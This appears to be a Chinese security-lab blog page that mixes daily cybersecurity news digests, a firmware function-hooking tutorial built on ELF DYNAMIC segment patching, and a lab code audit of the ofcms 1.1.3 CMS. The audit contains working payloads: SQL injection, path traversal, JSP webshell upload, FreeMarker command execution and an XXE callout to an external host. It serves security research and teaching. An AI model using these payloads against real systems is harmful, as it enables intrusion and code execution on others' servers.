网络安全日报 2022年06月08日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、研究人员发布了最近修补的 Zyxel 防火墙漏洞技术细节
https://www.securityweek.com/technical-details-released-recently-patched-zyxel-firewall-vulnerabilities 2、Evil Corp 团伙开始使用 LockBit Ransomware 以逃避制裁
https://securityaffairs.co/wordpress/132031/cyber-crime/evil-corp-lockbit-ransomware.html 3、Black Basta 勒索软件利用 QBot恶意软件进行横向扩展攻击
https://securityaffairs.co/wordpress/132018/hacking/black-basta-ransomware-qbot.html 4、Follina 在网络钓鱼攻击中被利用
https://cyware.com/news/follina-exploited-in-phishing-attacks-16fca1ae 5、苹果的新功能将自动安装安全更新,无需完整的操作系统更新
https://thehackernews.com/2022/06/apples-new-feature-will-install.html 6、意大利巴勒莫市关闭所有系统以抵御网络攻击
https://www.bleepingcomputer.com/news/security/italian-city-of-palermo-shuts-down-all-systems-to-fend-off-cyberattack/ 7、格洛斯特市议会的IT系统遭黑客攻击近六个月后仍未完全运行
https://www.infosecurity-magazine.com/news/gloucester-council-it-systems/ 8、研究人员观察到传播SVCReady恶意软件的网络钓鱼活动
https://thehackernews.com/2022/06/researchers-warn-of-spam-campaign.html 9、谷歌通过 2022 年 6 月更新修补了关键的 Android 漏洞
https://www.securityweek.com/google-patches-critical-android-vulnerabilities-june-2022-updates 10、加密货币骗局在美或已造成超10亿美元损失
https://www.bleepingcomputer.com/news/security/americans-report-losing-over-1-billion-to-cryptocurrency-scams/
网络安全日报 2022年06月07日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、GitLab 企业版修复了高危帐户接管漏洞
https://www.securityweek.com/critical-account-takeover-vulnerability-patched-gitlab-enterprise-edition 2、U-Boot存在严重漏洞可通过本地网络写入任意数据
https://www.securityweek.com/critical-u-boot-vulnerability-allows-rooting-embedded-systems 3、Lockbit 勒索软件团伙声称已入侵网络安全巨头 Mandiant
https://securityaffairs.co/wordpress/132011/cyber-crime/lockbit-claims-mandiant-hack.html 4、微软摧毁了与伊朗有关的 Bohrium APT 使用的 41 个域名
https://securityaffairs.co/wordpress/132002/apt/microsoft-seized-bohrium-apt-domains.html 5、暗网市场AlphaBay被国际执法行动捣毁5年后,重新回归
https://www.wired.com/story/alphabay-dark-web-market-ranking/ 6、匿名者黑客组织泄露了1TB俄罗斯顶级律师事务所数据
https://www.hackread.com/anonymous-hacktivists-leak-1tb-russia-law-firm-data/ 7、挖矿木马WatchDog新一轮活动瞄准Docker 和 Redis 服务器
https://cyware.com/news/watchdog-targets-docker-and-redis-servers-in-new-cryptojacking-campaign-a5681a92 8、CISA 发出警告:美国多州使用的投票机存在软件漏洞
https://www.cnbeta.com/articles/tech/1276043.htm 9、在过去一年中,近四分之三的公司因DNS攻击而停工
https://www.infosecurity-magazine.com/news/threequarters-suffer-downtime/ 10、数百个Elasticsearch数据库遭到勒索攻击
https://www.bleepingcomputer.com/news/security/hundreds-of-elasticsearch-databases-targeted-in-ransom-attacks/
网络安全日报 2022年06月06日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、CISA 警告 Illumina 基因分析设备存在严重漏洞
https://www.securityweek.com/cisa-warns-critical-vulnerabilities-illumina-genetic-analysis-devices 2、Atlassian Confluence 服务器0day漏洞(CVE-2022-26134)被广泛利用
https://www.securityweek.com/atlassian-confluence-servers-hacked-zero-day-vulnerability 3、数百万使用 UNISOC 芯片的廉价智能手机易受远程 DoS 攻击
https://www.securityweek.com/millions-budget-smartphones-unisoc-chips-vulnerable-remote-dos-attacks 4、匿名博客平台Telegraph正被网络钓鱼者积极利用
https://www.bleepingcomputer.com/news/security/telegram-s-blogging-platform-abused-in-phishing-attacks/ 5、Korenix JetPort工业串行设备服务器存在后门帐户
https://www.securityweek.com/vendor-refuses-remove-backdoor-account-can-facilitate-attacks-industrial-firms 6、美国国家安全局将军证实美国在俄乌战争中的进攻性网络行动
https://www.theregister.com/2022/06/02/nakasone_us_hacking_russia/ 7、Conti勒索软件团伙拥有利用英特尔固件漏洞的PoC
https://www.theregister.com/2022/06/02/conti_rasomware_intel_firmware/ 8、639个含有银行木马的金融应用程序被下载超过10亿次
https://www.bleepingcomputer.com/news/security/top-10-android-banking-trojans-target-apps-with-1-billion-downloads/ 9、微软破坏了Bohrium黑客组织的鱼叉式网络钓鱼攻击
https://www.bleepingcomputer.com/news/security/microsoft-disrupts-bohrium-hackers-spear-phishing-operation/ 10、报告显示勒索软件和社会工程是网络安全人员面临的主要挑战
https://threatpost.com/old-hacks-die-hard-ransomware-social-engineering-top-verizon-dbir-threats-again/179864/
网络安全日报 2022年06月02日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Horde Webmail 服务器存在高危漏洞
https://www.securityweek.com/unpatched-vulnerability-exposes-horde-webmail-servers-attacks 2、LockBit 2.0 勒索软件攻击了富士康在墨西哥的一家工厂
https://www.securityweek.com/ransomware-group-claims-have-breached-foxconn-factory 3、欧洲刑警组织宣布摧毁了FluBot 移动间谍软件
https://www.securityweek.com/europol-announces-takedown-flubot-mobile-spyware 4、新的 XLoader 僵尸网络版本使用新技术来隐藏其 C2 服务器
https://securityaffairs.co/wordpress/131860/cyber-crime/xloader-botnet-obscures-c2.html 5、研究人员在全球范围内发现了超过 360 万台可访问的 MySQL 服务器
https://securityaffairs.co/wordpress/131851/security/3-6-million-mysql-servers-accessible-online.html 6、Hive 勒索软件团伙攻击了哥斯达黎加的公共卫生服务
https://securityaffairs.co/wordpress/131837/cyber-crime/costa-rica-cccs-hive-ransomware.html 7、FDA 发布医疗器械网络安全指南
https://www.meddeviceonline.com/doc/fda-releases-guidance-on-cybersecurity-in-medical-devices-0001 8、乌克兰在2022年第一季度观察到近1400万起网络安全事件
https://www.govinfosecurity.com/ukraine-observed-nearly-14m-cyber-incidents-in-q1-2022-a-19175 9、英国政府就云、数据中心安全征求意见
https://www.theregister.com/2022/05/30/uk_government_security_consultation/ 10、南非总统的个人信贷数据泄露
https://www.secrss.com/articles/42993
二进制固件函数劫持术-DYNAMIC
背景介绍
固件系统中的二进制文件依赖于特定的系统环境执行,针对固件的研究在没有足够的资金的支持下需要通过固件的模拟来执行二进制文件程序。依赖于特定硬件环境的固件无法完整模拟,需要hook掉其中依赖于硬件的函数。
LD_PRELOAD的劫持
对于特定函数的劫持技术分为动态注入劫持和静态注入劫持两种。静态注入指的是通过修改静态二进制文件中的内容来实现对特定函数的注入。动态注入则指的是在运行的过程中对特定的函数进行劫持,动态注入劫持一方面可以通过劫持PLT表或者GOT表来实现,另一方面可以通过环境变量LD_PRELOAD来实现。
在《揭秘家用路由器0day漏洞挖掘》中作者针对D-link DIR-605L(FW_113)路由器中的Web应用程序boa,通过hook技术劫持 apmib_init()和apmib_get()函数修复boa对硬件的依赖,使得qemu-static-mips可以模拟执行,在文中作者通过LD_PRELOAD环境变量实现对函数的劫持。网上针对LD_PRELOAD的劫持也有大量的描述。但是LD_PRELOAD仍旧不是普适的。
存在的问题
LD_PRELOAD环境变量的开关在编译生成ulibc的时候指定,当关闭该选项的时候,无法使用LD_PRELOAD来预加载指定的动态链接库文件。
固件的二进制文件中会将二进制文件中的Section信息去除掉,只保留下Segment的信息,使得无法通过patchelf来增加动态链接库实现劫持。patchelf 支持对二进制文件的patch修改,或者添加执行过程中的链接lib。
本文方案思路
在ELF文件中,存在DYNAMIC Segment,ld.so通过该段内容来加载程序运行过程中需要的lib文件,图1为在IDA中反编译后查看的DYNAMIC段的内容。
图1 Elf32_Dyn结构体数组
DYNAMIC段介绍
dynamic 段开头包含了由N个Elf32_Dyn组成的结构体,该结构体的D_tag代表了结构体的类型。d_un为通过union 联合的指针d_ptr或者对应的结构体的值d_val。
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
}Elf32_Dyn;
d_tag字段保存了类型的定义参数,详见ELF(5)手册。下面列出了动态链接器常用的比较重要的类型值
1-DT_NEEDED 该类型的数据结构保存了程序所需要的共享库的名字相对字符串表的偏移量
2-DT_SYMTAB 动态符号表的地址,对应的节名为.dynsym
3-DT_HASH 符号散列表的名称,对应的节名为.hash又称为.gnu.hash
4-DT_STRTAB 符号字符串表的地址,对应的节名为 .dynstr
5-DT_PLTGOT 全局偏移表的地址
如上各个字段对应到 IDA 中显示如下,d_tag字段代表了动态段的类型,当该值为1的时候。表示程序依赖的共享库的名字,其对应的d_val表示了是要加载的lib的名称在string table中的偏移。
共享库文件名对应的结构体的类型值为0x01,如图2所示,0x4001C4-0x4001E4保存有5个二进制文件所依赖的共享库名字,其D_VAL的值是指向string table的偏移量。
图2 DT_NEEDED 共享库依赖图
DYNAMIC段的定位
从二进制文件头起始定位DYNAMIC段的流程如下:
ELF_HEADER->Program Header -> DYNAMIC Program
ELF_HEADER中保存有Program Header的偏移
图3 ELF Header
Program Header中保存有Dynamic Segment 的相关结构体信息
图4 Program Header
展开该结构体,可以找到Dynamic段在文件中的偏移量0x140h
Program Header结构体
DT_NEEDED伪造
动态段由dynamic的结构体数组组成,dynamic的结构体定义如下:
在dynamic和elf_hash之间仍存在一段空余空余可填充空间。本文利用该段空间填充,实现特定lib的加载。
本文方案实验与测试
利用dynamic和elf_hash之间的空余区域,在该区域伪造出新的dynamic的一个数组。如下图,不修改二进制文件大小,伪造增添ibcjson.so,使得二进制文件加载 ibcjson.so。在ibcjson.so中编写对应的劫持函数。
思路: 将原有的Elf32_Dyn数组元素依次后移,并在该数组的首部添加伪造的ibcjson.so,该lib的命名可以选用string table中的任一字符串即可。
核心移动代码,将Elf32_Dyn中的元素依次后移一个,dynamic段 dynamic[0]元素作为要伪造填充的数据,在本文的实验中,将dynamic[0]中的value值加1。由于在MIPS下存在大小端两种架构,在小端机器上的代码解决大端架构的填充伪造时要注意大小端的转换问题。
void move_dynamic(char* buf){
int x = 0;
Elf32_Dyn* dyn = (Elf32_Dyn *)buf;
while(1){
if(dyn[x].d_tag == 0 && dyn[x].d_un.d_ptr == 0){
break;
}
x++;
if(x>100) {
printf("Error break\n");
break;
}
}
while(x--){
//printf("the index x is %x\n",x);
mem_cpy(&dyn[x],&dyn[x+1],8);
}
dyn[x+1].d_un.d_val = b2l(l2b(dyn[x+1].d_un.d_val) + 1);
}
测试环境
TOTOLink N210RE中boa程序,劫持函数参考DIR605A,劫持apmib_init以及apmib_get
该固件的ld,关闭了LD_PRELOAD程序选项,未提供/etc/ld.preload
劫持函数代码,采用了《揭秘家用路由器漏洞挖掘》提供的示例代码如下,在原有的基础上,增加printf来查看显示是否劫持成功。
#include<stdio.h>
#define MIB_HW_VER 0x250
#define MIB_IP_ADDR 170
#define MIB_CAPTCHA 0x2C1
int apmib_init(void){
printf("helllo");
return 1;
}
int fork(void){
return 0;
}
void apmib_get(int code,int *value){
switch(code){
case MIB_HW_VER:
*value = 1;
break;
case MIB_IP_ADDR:
*value = 1;
break;
case MIB_CAPTCHA:
*value = 1;
break;
}
return;
}
通过mips-linux-gcc进行编译,这里注意mips-linux-gcc在编译过程中的编译文件的位置要位于参数之后(踩坑了!!!!)
mips-linux-gcc -Wall -fPIC -shared apmib.c -o ibcjson.so
通过如下代码,给原有的boa二进制文件添加一个dynamic
#include<stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include "elf.h"
#define PATCH "boa_patch"
int b2l(int be)
{
return ((be >> 24) &0xff )
| ((be >> 8) & 0xFF00)
| ((be << 8) & 0xFF0000)
| ((be << 24));
}
char* buf = NULL;
int l2b(int le) {
return (le & 0xff) << 24
| (le & 0xff00) << 8
| (le & 0xff0000) >> 8
| (le >> 24) & 0xff;
}
static char *_get_interp(char *buf)
{
int x;
// Check for the existence of a dynamic loader
Elf_Ehdr *hdr = (Elf_Ehdr *)buf;
Elf_Phdr *phdr = (Elf_Phdr * )(buf + l2b(hdr->e_phoff));
printf("the phdr address is: 0x%x 0x%x 0x%x 0x%x\n",phdr,l2b(hdr->e_phoff),buf,sizeof(hdr->e_phoff));
for(x = 0; x < hdr->e_phnum; x++){
if(l2b(phdr[x].p_type) == PT_DYNAMIC){
// There is a dynamic loader present, so load it
return buf + l2b(phdr[x].p_offset);
}
}
return NULL;
}
int mem_cpy(char* src,char* dst,int len){
printf("the src addr is %x , %x\n",src-buf,dst-buf);
for(int x=0;x<len;x++){
dst[x]=src[x];
}
return 0;
}
/*
1 2 3 4
temp = 2
strcpy(1,2)
1 2
strcpy()
*/
void move_dynamic(char* buf){
int x = 0;
Elf32_Dyn* dyn = (Elf32_Dyn *)buf;
//Elf32_Dyn tmp_dyn;
//mem_cpy()
while(1){
if(dyn[x].d_tag == 0 && dyn[x].d_un.d_ptr == 0){
printf("the x is %d\n",x);
break;
}
x++;
if(x>100) {
printf("Error break\n");
break;
}
}
while(x--){
//printf("the index x is %x\n",x);
mem_cpy(&dyn[x],&dyn[x+1],8);
}
dyn[x+1].d_un.d_val = b2l(l2b(dyn[x+1].d_un.d_val) + 1);
//FILE* fw = fopen("")
}
void analyse(char* buf){
char* phdr_address = NULL;
phdr_address = _get_interp(buf);
printf("phdr address: 0x%x\n",phdr_address-buf);
move_dynamic(phdr_address);
}
void save_binary(char* buf,int size){
FILE* fw = fopen(PATCH,"wb");
fwrite(buf,size,1,fw);
fclose(fw);
}
int main(int argc,char *argv[],char* envp[]){
if(argc < 2){
printf("not enough argc\n");
}
FILE* fp = fopen(argv[1],"rb");
fseek(fp,0,SEEK_END);
int size = ftell(fp);
fseek(fp, 0L, SEEK_SET);
buf = malloc(size);
fread(buf,size,1,fp);
analyse(buf);
save_binary(buf,size);
free(buf);
return 0;
}
Makefile如下
all: elf.h analyse_ph.c
gcc analyse_ph.c -m32 -g3 -o analyse
./analyse boa_real_n210
针对N210RE 的测试截图如下,通过export LD_LIBRARY_PATH使得程序加载ibcjson.so,成功劫持boa,输出helllo
Ubuntu下rand函数劫持测试
rand函数的头文件是stdlib.h
编写rand.c
#include<stdio.h>
#include<stdlib.h>
int main(){
int a = 0;
a = rand()%100;
printf("the a is %d\n",a);
return 0;
}
//gcc -m32 rand.c -o rand
编写rand_hook.so
#include<stdio.h>
int rand(){
printf("hook !\n");
return 100;
}
//gcc -fPIC -Wall -shared -m32 rand_hook.c -o rand_hook.so
使用LD_PRELOAD测试,成功实现对该函数的劫持
使用patch,针对dynamic段元素添加伪造,测试rand_patch,依赖的库文件增加了ibc.so.6,ibc.so.6需要通过export LD_LIBRARY_PATH导入ibc.so.6的文件路径
实现对rand的劫持
总结
本文通过研究二进制文件中的dynamic段,通过修改二进制文件增加依赖共享库,可以解决在模拟固件的过程时,固件缺少节信息且固件函数无法通过LD_PRELOAD劫持的问题。该方案仍有不足之处,对于ld加载共享库的依赖顺序、共享库劫持的底层原理尚未深入探究。
参考
《揭秘家用路由器0day挖掘技术》
《二进制分析实战》
网络安全日报 2022年06月01日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、白俄罗斯政府网站遭到匿名者黑客组织攻击
https://www.infosecurity-magazine.com/news/anonymous-claims-attacks-against/ 2、微软发布了针对Office零日漏洞的缓解措施
https://www.infosecurity-magazine.com/news/turkish-airline-exposes-flight/ 3、澳大利亚养老金提供商Spirit Super数据泄露
https://portswigger.net/daily-swig/data-breach-at-australian-pension-provider-spirit-super-impacts-50k-victims-following-phishing-attack 4、土耳其飞马航空公司泄漏了6.5TB数据,包括航班和机组人员信息
https://www.infosecurity-magazine.com/news/turkish-airline-exposes-flight/ 5、微软发现Android 预装应用受高危漏洞影响
https://www.bleepingcomputer.com/news/security/microsoft-finds-severe-bugs-in-android-apps-from-large-mobile-providers/ 6、FluBot 移动恶意软件席卷欧洲,安卓苹果都不放过
https://www.bitdefender.com/blog/labs/new-flubot-campaign-sweeps-through-europe-targeting-android-and-ios-users-alike/ 7、CISA 发布 5G 安全评估流程计划
https://www.infosecurity-magazine.com/news/cisa-5g-security-evaluation-process/ 8、EnemyBot 恶意软件增加了关键 VMware、F5 BIG-IP 漏洞的攻击
https://www.bleepingcomputer.com/news/security/enemybot-malware-adds-exploits-for-critical-vmware-f5-big-ip-flaws/ 9、SideWinder APT组织在过去 2 年发起了超过 1,000 次网络攻击
https://thehackernews.com/2022/05/sidewinder-hackers-launched-over-1000.html 10、澳大利亚电子驾照可在几分钟内被破解
https://www.theregister.com/2022/05/30/nsw_digital_drivers_licenses_hackable/
网络安全日报 2022年05月31日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、一个新的 WhatsApp OTP 骗局可能允许劫持用户的帐户
https://securityaffairs.co/wordpress/131807/hacking/whatsapp-otp-scam.html 2、多个Microsoft Office版本存在远程命令执行漏洞
https://securityaffairs.co/wordpress/131800/hacking/multiple-microsoft-office-versions-zero-day.html 3、EnemyBot新增CMS和Android设备漏洞利用
https://securityaffairs.co/wordpress/131783/malware/enemybot-botnet-new-exploits.html 4、Clop勒索软件卷土重来,4月添加了21名新受害者
https://www.bleepingcomputer.com/news/security/clop-ransomware-gang-is-back-hits-21-victims-in-a-single-month/ 5、加拿大卡尔加里城市项目协会证实遭到数据泄露
https://globalnews.ca/news/8872996/calgary-charity-data-breach/ 6、淘宝宣布禁止销售修改/代理/伪造IP的软件与服务
https://www.cnbeta.com/articles/tech/1274789.htm 7、咚动、自如、康珂诺等12款移动App违法被通报,隐私不合规
https://www.cnaac.org.cn/newShowData.html?id=258 8、FBI 发出警告称黑客正出售美国大学的网络凭证
https://www.bleepingcomputer.com/news/security/fbi-warns-of-hackers-selling-credentials-for-us-college-networks/ 9、曝通用汽车受黑客攻击,用户信息遭泄露
https://www.pcauto.com.cn/news/3081/30810284.html 10、谷歌、苹果等科技公司喜欢谈论隐私,但同时试图扼杀隐私立法
https://www.theregister.com/2022/05/27/big_tech_privacy/
网络安全日报 2022年05月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、 VMware高危漏洞CVE-2022-22972 PoC已公开
https://www.securityweek.com/exploitation-vmware-vulnerability-imminent-following-release-poc 2、GitHub:近10万名 NPM 用户的凭据在 4 月的 OAuth 令牌攻击中被盗
https://securityaffairs.co/wordpress/131733/hacking/100k-npm-credential-github-oauth-breach.html 3、研究人员设计了一种名为GhostTouch的技术:使用电磁干扰攻击触摸屏
https://securityaffairs.co/wordpress/131714/hacking/ghosttouch-touchscreens-attack.html 4、ERMAC Android 银行木马2.0针对 400 多个应用程序
https://securityaffairs.co/wordpress/131705/malware/ermac-2-0-android-banking-trojan.html 5、Cheerscrypt 勒索软件针对 VMware ESXi 服务器
https://cyware.com/news/cheerscrypt-ransomware-targets-vmware-esxi-servers-d5f3f79a 6、黑客通过远程访问窃取了数百名 Verizon 员工的数据库
https://www.vice.com/en/article/wxdwxn/hacker-steals-database-of-hundreds-of-verizon-employees 7、加拿大医疗服务提供商SHN遭黑客入侵数据泄露
https://portswigger.net/daily-swig/canadian-healthcare-provider-issues-data-breach-warning-after-server-hack 8、维护人员修复Guzzle的跨域cookie泄漏漏洞
https://portswigger.net/daily-swig/patch-released-for-cross-domain-cookie-leakage-flaw-in-guzzle 9、基于WSL的恶意软件窃取浏览器验证cookie
https://www.bleepingcomputer.com/news/security/new-windows-subsystem-for-linux-malware-steals-browser-auth-cookies/ 10、研究人员发现谷歌Chrome中存在RCE漏洞
https://thehackernews.com/2022/05/experts-detail-new-rce-vulnerability.html
网络安全日报 2022年05月27日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、 QCT 服务器受"Pantsdown" BMC漏洞的影响
https://www.securityweek.com/qct-servers-affected-pantsdown-bmc-vulnerability 2、芯片巨头博通610亿美元收购VMware
https://www.securityweek.com/vmware-absorb-broadcom-security-solutions-following-61-billion-deal 3、Open Automation Software平台中发现多个严重漏洞
https://www.securityweek.com/critical-vulnerabilities-found-open-automation-software-platform 4、Twitter 因用户数据隐私被罚款 1.5 亿美元
https://www.securityweek.com/twitter-pay-150m-penalty-over-privacy-users-data 5、Zyxel 解决了影响 AP、AP 控制器和防火墙的多个漏洞
https://securityaffairs.co/wordpress/131691/security/zyxel-flaws.html 6、新的 ChromeLoader 恶意软件激增威胁全球浏览器
https://www.bleepingcomputer.com/news/security/new-chromeloader-malware-surge-threatens-browsers-worldwide/ 7、基于Linux的勒索软件Cheerscrypt针对ESXi设备
https://www.trendmicro.com/en_us/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html 8、印度SpiceJet航空公司遭勒索软件攻击航班延误
https://www.bleepingcomputer.com/news/security/spicejet-airline-passengers-stranded-after-ransomware-attack/ 9、伦敦港管理局网站遭到黑客攻击导致被迫关闭
https://www.hackread.com/pro-iran-altahrea-hit-port-of-london-website-ddos-attack/ 10、配置错误的服务器泄露了上千万俄罗斯和乌克兰人的数据
https://www.hackread.com/personal-data-russians-ukrainians-exposed-online/
某内容管理系统最最最详细的代码审计
前言
刚好遇到一个授权的渗透是通过该cms实现getshell,所以顺便审计一下java类的cms,这个管理系统是一个内容管理系统,下载地址
https://gitee.com/oufu/ofcms/tree/V1.1.3/ tomcat下载地址
https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.78/bin/apache-tomcat-8.5.78-windows-x64.zip 这里我选择8.5.78
环境搭建
idea
ofcms V1.1.3
tomcat 8.5
idea直接创建新建项目,自动导入xml文件,配置启动服务器
导入sql文件
mysql -uroot -pxxxxxxx
use ofcms
source /路径.ofcms-v1.1.3.sql
show tables;
这里需要注意一点儿,源码确实,无法打包war'包,解决不掉artifacts的问题
配置端口
启动tomgcat的时候会乱码,修改tomcat的配置文件tomcat->config->logging.properties
更改所有utf8的格式为GBK
配置maven,整一个恶心的想吐
<mirror>
<id>alimaven</id>
<mirrorOf>central</mirrorOf>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
</mirror>
重建项目
启动服务,但是之前需要修改配置文件中的数据库的连接的字段用户名和密码,这里会报错,所以修改配置文件直接创建完成了数据库在上面导入数据库的时候跳过安装步骤。
首页地址: localhost:8099/ofcms_admin
后台地址:localhost:8099/ofcms_admin/admin/login.html
admin/123456
审计分析
SQL注入
文件结构目录
因为已知漏洞都存在于后台,直接审计后台文件,首先定位到控制层代码,
因为已经不通通过安装启动web服务,这里不需要分析安装控制层,看首页
出于对代码的尊重,跟了一波增加sql语句的处理,但是存在sql注入的过滤器,
直接触发增加用户接口
其实可以直接看出来,在第50行的时候已经使用put方法增加了管理员用户,然后new了一个对象record存放存入的其它参数的数据,再往下的时候根据record的值判断用户的类型,向下56行F7跟进,一直跟到类sqlpara的setsql方法进行插入
在这里的时候插入的是创建时的创建时间等字段,并没插入我们传入的详细信息,但是在类sysusercontroller中的57行中十对创建的用户sss创建id编号,此时用户以及数据的插入时在58行执行结束时完成,已经写进了数据库。
但是这里没有测试存在注入点儿,注入点存在于代码生成->新增
手动测试有回显sql=1'
猜测可能存在报错注入,构造payload
update of_cms_api set api_name=updatexml(1,concat(0x7e,(user())),0) where api_id=2
\ofsoft\cms\admin\controller\system\SystemGenerateController.java下断点分析
47行,F7跟进
返回的sql参数的内容未作任何过滤,48行F7跟进
98行跟进update方法
256行直接连接数据库进行更新,最后抛出异常,报错回显出数据库用户名root
存储型XSS
分析代码,
所以这里出现存储型XSS的地方不止这一个触点儿,包括前台,Ueditor编辑器的原因。
任意文件读取
查看文件模板,模板文件连接如下
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=/&dir_name=/
可控参数dir,payload如下
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=../../../&dir_name=/
控制字段file_name读取文件
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=jquery-1.10.1.min.js&dir=../../..//resource/default/static/lib&dir_name=/lib
漏洞分析
查看模板文件的时候,传入的dir参数以及updir的参数都为空
这里是对路径文件类型做判断,读取模板文件,所这里任意文件读取也只是针对任意模板文件读取,读取文件名的控制参数数为filename
根据debug分析,当传入的payload为
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?dir=../
测试根据断点看出,我们传入的参数dir为../
在65行的时候未对传入的参数dir做过滤,这个时候已经拿到了模板目录
读取通过循环遍历使用文件名读取
在调试的时候发现,我们访问目录。这里访问comn
在控制层TemplateController内调用函数getSiteTemplatePath()
F7跟进,在类file.java中对路径进行了直接拼接
所以只要调用file函数拼接的参数也必定会产生"任意"文件读取。那么所能使用的payload如下
?dir=../
?up_dir=../
#含文件名
?file_name=page.html&up_dir=../comn
?file_name=page.html&dir=../comn
文件上传实现webshell
刚好该类这里又save方法调用了上面的函数,所以我们可以保证我们上传文件的路径是可控的
尝试构造数据包
此时已经成功保存,但是通过文件读取是读不到文件的,实际上已经写进去了,因为在读取文件的时候限制了读取的文件类型,可以尝试保存一个html
验证是可以写入的,那么直接写入jsp木马实现webshell
最后一个断点执行结束,此时shell已成功写入
http://localhost:8099/ofcms_admin/static/1.jsp
SSTI模板注入
同样在save模板的时候我们分析,在125行的时候传入file文件以及文件内容
f7跟进函数,发现在类fileutils中的,writestring方法中在78行的时候拿到的string还是我们在前端输入的内容
继续F7跟进函数
这里直接对string进行了编码
payload
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
访问
http://localhost:8099/ofcms_admin/about.html
所以这里漏洞的触发点也很多,html页面都可以,当然也可以利用上面的文件上传进行写入页面调用也可以触发。漏洞的触发原理可参考这个文章
http://t.zoukankan.com/Eleven-Liu-p-12747908.html 很清晰
XXE漏洞
直接分析漏洞代码下断点
ofcms-V1.1.3\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\ReprotAction.java
前端功能模块导出
定位到控制器处理方法,在 com.ofsoft.cms.admin.controller.ReprotAction类的 expReport 方法中。
使用上文的任意文件读取,在静态页面下放入我们写入的jrxml文件,文件命名为xxe.jrxml,构造payload
POST /ofcms_admin/admin/cms/template/save.json HTTP/1.1
Host: localhost:8099
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 394
Origin: http://localhost:8099
Connection: close
Referer: http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html
Cookie: JSESSIONID=FCF2920F5C1C3ECAC592420888B66674; Phpstorm-63ee32fd=c3d51684-64a8-4398-bce8-86b8077fb103; XDEBUG_SESSION=XDEBUG_ECLIPSE
file_path=G%3A%5Cofcms113%5Capache-tomcat-8.5.78%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2F&res_path=&file_name=index.html&file_content=%3c%21%44%4f%43%54%59%50%45%20%70%6f%65%6d%20%5b%3c%21%45%4e%54%49%54%59%20%25%20%78%78%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2
文件内容的payload
<!DOCTYPE poem [<!ENTITY % xxe SYSTEM "http://192.168.166.128:8081">%xxe; ]>
直接访问
http://localhost:8099/ofcms_admin/admin/reprot/expReport.html?%20j=../../static/xxe
漏洞成因是调用了 getParamsMap 方法,获取用户提交的所有参数,并将 j 参数赋值给 jrxmlFileName ,服务器接收用户输入的 j 参数后,拼接生成文件路径,可直接穿越其它目录,但是限制了文件后缀为 jrxml,所以文件名命名为jrxml
先调用getParamsMap 方法
而后调用JasperCompileManager.compileReport() 方法
F7跟进,在 compile方法中调用 JRXmlLoader.load() 方法,F7跟进,在 loadXML 方法中调用了 Digester 类的 parse 解析我们的 XML 文档对象,默认是没有禁用外部实体解析,所以xxe文件能执行。
总结
